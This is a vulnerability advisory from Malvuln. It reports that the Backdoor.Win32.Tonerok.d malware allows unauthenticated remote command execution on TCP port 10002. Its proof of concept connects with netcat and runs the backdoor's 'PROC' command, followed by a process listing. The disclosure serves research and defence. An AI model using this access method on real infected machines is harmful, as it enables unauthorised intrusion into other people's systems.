Backdoor.Win32.Tonerok.d malware suffers from a code execution vulnerability.
7025d264db8427c0934a96c52d9e5142Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b297c565899ace88f40e5da833f41561.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Tonerok.d
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 10002 and drops an executable named "svchost.exe" under Windows dir. Third-party attackers who can reach an infected system can execute commands made available by the backdoor.
Type: PE32
MD5: b297c565899ace88f40e5da833f41561
Vuln ID: MVID-2021-0226
Dropped files: svchost.exe
Disclosure: 05/23/2021
Exploit/PoC:
E.g. list processes on the infected host using the malwares internal "PROC" command.
nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32
PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
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